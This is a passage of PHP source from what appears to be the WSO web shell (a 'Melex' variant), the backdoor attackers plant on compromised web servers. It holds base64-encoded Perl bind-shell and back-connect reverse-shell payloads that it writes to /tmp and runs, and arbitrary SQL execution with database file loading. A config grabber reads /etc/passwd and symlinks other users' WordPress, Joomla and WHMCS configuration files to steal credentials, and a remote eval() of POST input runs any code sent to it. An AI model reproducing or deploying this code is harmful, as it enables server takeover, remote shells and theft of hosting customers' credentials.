1358echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1359$_POST['p3']--;
1360if($_POST['type']=='pgsql')
1361$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1362else
1363$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1364echo "<br><br>";
1365}
1366if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1367$db->query(@$_POST['p2']);
1368if($db->res !== false) {
1369$title = false;
1370echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1371$line = 1;
1372while($item = $db->fetch()) {
1373if(!$title) {
1374echo '<tr>';
1375foreach($item as $key => $value)
1376echo '<th>'.$key.'</th>';
1377reset($item);
1378$title=true;
1379echo '</tr><tr>';
1380$line = 2;
1381}
1382echo '<tr class="l'.$line.'">';
1383$line = $line==1?2:1;
1384foreach($item as $key => $value) {
1385if($value == null)
1386echo '<td><i>null</i></td>';
1387else
1388echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1389}
1390echo '</tr>';
1391}
1392echo '</table>';
1393} else {
1394echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1395}
1396}
1397echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1398if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1399echo htmlspecialchars($_POST['p2']);
1400echo "</textarea><br/><input type=submit value='Execute'>";
1401echo "</td></tr>";
1402}
1403echo "</table></form><br/>";
1404if($_POST['type']=='mysql') {
1405$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1406if($db->fetch())
1407echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1408}
1409if(@$_POST['p1'] == 'loadfile') {
1410$file = $db->loadFile($_POST['p2']);
1411echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1412}
1413} else {
1414echo htmlspecialchars($db->error());
1415}
1416echo '</div>';
1417wsoFooter();
1418}
1419function actionNetwork() {
1420wsoHeader();
1421$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1422$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1423echo "<h1>Network toolsZ</h1><div class=content>
1424<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1425<span>Bind port to /bin/sh [perl]</span><br/>
1426Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1427</form>
1428<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1429<span>Back-connect [perl]</span><br/>
1430Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1431</form><br>";
1432if(isset($_POST['p1'])) {
1433function cf($f,$t) {
1434$w = @fopen($f,"w") or @function_exists('file_put_contents');
1435if($w){
1436@fwrite($w,@base64_decode($t));
1437@fclose($w);
1438}
1439}
1440if($_POST['p1'] == 'bpp') {
1441cf("/tmp/bp.pl",$bind_port_p);
1442$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1443sleep(1);
1444echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1445unlink("/tmp/bp.pl");
1446}
1447if($_POST['p1'] == 'bcp') {
1448cf("/tmp/bc.pl",$back_connect_p);
1449$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1450sleep(1);
1451echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1452unlink("/tmp/bc.pl");
1453}
1454}
1455echo '</div>';
1456wsoFooter();
1457}
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467///////////////////////grabconfig///////////////////
1468function actionMelex() {
1469wsoHeader();
1470echo "<h1>Config Grabber</h1>";
1471echo "<form method='POST'>";
1472echo "<center>";
1473if (empty($_POST['config'])) {
1474echo "<p><font face=\"Tahoma\" color=\"#007700\" size=\"2pt\">/etc/passwd content</p><br><form method=\"POST\"><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
1475echo file_get_contents('/etc/passwd');
1476echo "</textarea><br><br><input name=\"config\" class='inputzbut' size=\"100\" value=\"Grab!\" type=\"submit\"><br></form></center><br>\n";
1477}
1478
1479if ($_POST['config'])
1480{
1481 $function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('bhconfig', 0755);@chdir('bhconfig');
1482$htaccess="
1483OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
1484Options Indexes FollowSymLinks
1485ForceType text/plain
1486AddType text/plain .php
1487AddType text/plain .html
1488AddType text/html .shtml
1489AddType txt .php
1490AddHandler server-parsed .php
1491AddHandler txt .php
1492AddHandler txt .html
1493AddHandler txt .shtml
1494Options All
1495Options All";
1496file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
1497$passwd=explode("\n",$passwd);
1498echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";
1499foreach($passwd as $pwd){
1500$pawd=explode(":",$pwd);$user =$pawd[0];
1501@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
1502@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
1503@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
1504@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
1505@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
1506@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
1507@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
1508@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
1509@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
1510@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
1511@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
1512@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
1513@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
1514@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
1515@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
1516@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
1517@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
1518@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
1519@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
1520@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
1521@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
1522@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
1523@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
1524@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
1525@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
1526@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
1527@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
1528@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
1529@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
1530@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
1531@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
1532@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
1533@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
1534@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
1535@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
1536@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
1537@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
1538@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
1539@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
1540@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
1541echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="bhconfig">Open configs</a></font></b>';}
1542echo '</div>';
1543wsoFooter();
1544
1545}
1546//////////////////////////////////////////
1547
1548
1549//////////////////////////////////////////
1550function actionDefaults() {
1551wsoHeader();
1552echo "<h1>Melex Page :)</h1>";
1553
1554echo '</div>';
1555wsoFooter();
1556}
1557//////////////////////////////////////////
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569function actionRC() {
1570if(!@$_POST['p1']) {
1571$a = array(
1572"uname" => php_uname(),
1573"php_version" => phpversion(),
1574"wso_version" => WSO_VERSION,
1575"safemode" => @ini_get('safe_mode')
1576);
1577echo serialize($a);
1578} else {
1579eval($_POST['p1']);
1580}
1581}
1582if( empty($_POST['a']) )
1583if(isset($default_action) && function_exists('action' . $default_action))
1584$_POST['a'] = $default_action;
1585else
1586$_POST['a'] = 'SecInfo';
1587if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1588call_user_func('action' . $_POST['a']);
1589exit;